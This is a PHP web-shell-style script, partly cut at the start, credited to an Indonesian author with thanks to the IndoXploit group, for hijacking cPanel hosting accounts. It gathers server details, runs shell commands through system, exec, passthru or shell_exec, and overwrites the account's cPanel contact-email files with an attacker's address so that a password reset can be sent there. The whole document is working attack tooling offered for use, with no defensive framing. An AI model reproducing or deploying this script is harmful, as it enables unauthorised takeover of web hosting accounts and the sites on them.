'; } function color($bold = 1, $colorid = null, $string = null) { $color = array( "", # 0 off "", # 1 red "", # 2 lime "", # 3 white "", # 4 gold ); return ($string !== null) ? $color[$colorid].$string.$color[0]: $color[$colorid]; } function hddsize($size) { if($size >= 1073741824) return sprintf('%1.2f',$size / 1073741824 ).' GB'; elseif($size >= 1048576) return sprintf('%1.2f',$size / 1048576 ) .' MB'; elseif($size >= 1024) return sprintf('%1.2f',$size / 1024 ) .' KB'; else return $size .' B'; } function hdd() { $hdd['size'] = hddsize(disk_total_space("/")); $hdd['free'] = hddsize(disk_free_space("/")); $hdd['used'] = $hdd['size'] - $hdd['free']; return (object) $hdd; } function usergroup() { if(!function_exists('posix_getegid')) { $user['name'] = @get_current_user(); $user['uid'] = @getmyuid(); $user['gid'] = @getmygid(); $user['group'] = "?"; } else { $user['uid'] = @posix_getpwuid(posix_geteuid()); $user['gid'] = @posix_getgrgid(posix_getegid()); $user['name'] = $user['uid']['name']; $user['uid'] = $user['uid']['uid']; $user['group'] = $user['gid']['name']; $user['gid'] = $user['gid']['gid']; } return (object) $user; } function lib_installed() { $lib[] = "MySQL: ".(function_exists('mysql_connect') ? color(1, 2, "ON") : color(1, 1, "OFF")); $lib[] = "cURL: ".(function_exists('curl_version') ? color(1, 2, "ON") : color(1, 1, "OFF")); $lib[] = "WGET: ".(exe('wget --help') ? color(1, 2, "ON") : color(1, 1, "OFF")); $lib[] = "Perl: ".(exe('perl --help') ? color(1, 2, "ON") : color(1, 1, "OFF")); $lib[] = "Python: ".(exe('python --help') ? color(1, 2, "ON") : color(1, 1, "OFF")); return implode(" | ", $lib); } function exe($cmd) { if(function_exists('system')) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('exec')) { @exec($cmd,$results); $buff = ""; foreach($results as $result) { $buff .= $result; } return $buff; } elseif(function_exists('passthru')) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('shell_exec')) { $buff = @shell_exec($cmd); return $buff; } } function infosistem() { $disable_functions = @ini_get('disable_functions'); $disable_functions = (!empty($disable_functions)) ? color(1, 1, $disable_functions) : color(1, 2, "NONE"); $output[] = "
[X] Reset Password Cpanel [X]

"; $output[] = "
Domain : " .color(1, 2,$_SERVER[HTTP_HOST]) . " | Cpanel Login : http://" . $_SERVER[HTTP_HOST] . "/cpanel " . "
"; $output[] = "PHP VERSION : " .color(1, 2,phpversion()); $output[] = "HDD : ".color(1, 2, hdd()->used)." / ".color(1, 2 , hdd()->size)." (Free: ".color(1, 2 , hdd()->free).")"; $output[] = "SYSTEM : ".color(1, 2, php_uname()); $output[] = "USER / GROUP: ".color(1, 2, usergroup()->name)."(".color(1, 2 , usergroup()->uid).") / ".color(1, 2 , usergroup()->group)."(".color(1, 2 , usergroup()->gid).")"; $output[] = "SERVER IP : ".color(1, 2, $GLOBALS['SERVERIP'])."
YOUR IP : ".color(1, 2, $_SERVER['REMOTE_ADDR']); $output[] = "DISABLE FUNC: $disable_functions"; $output[] = "SAFE MODE : ".(@ini_get(strtoupper("safe_mode")) === "ON" ? color(1, 2, "ON") : color(1, 2, "OFF")); $output[] = "
" . lib_installed() . "
"; print "
";
  	print implode("
", $output); print "
"; } background(); infosistem(); ############################ ##Script Resetpass Cpanel ## ##Coded By Naufal Ardhani ## ## www.naufalardhani.com ## ############################ echo ' Reset Password Cpanel Toad Jumping Up and Down


Masukkan Email!

Email :


Coded by Naufal Ardhani | Blog : www.Naufalrdhani.com 

 Thanks to :  Garuda Tersakti 72   - IndoXploit 
'; echo ""; $user = get_current_user(); $site = $_SERVER['HTTP_HOST']; $ips = getenv('REMOTE_ADDR'); if(isset($_POST['submit'])){ $email = $_POST['email']; $wr = 'email:'.$email; $f = fopen('/home/'.$user.'/.cpanel/contactinfo', 'w'); fwrite($f, $wr); fclose($f); $f = fopen('/home/'.$user.'/.contactinfo', 'w'); fwrite($f, $wr); fclose($f); $parm = "Disini : " . $site.':2083/resetpass?start=1'; echo '
'.$parm.'
'; }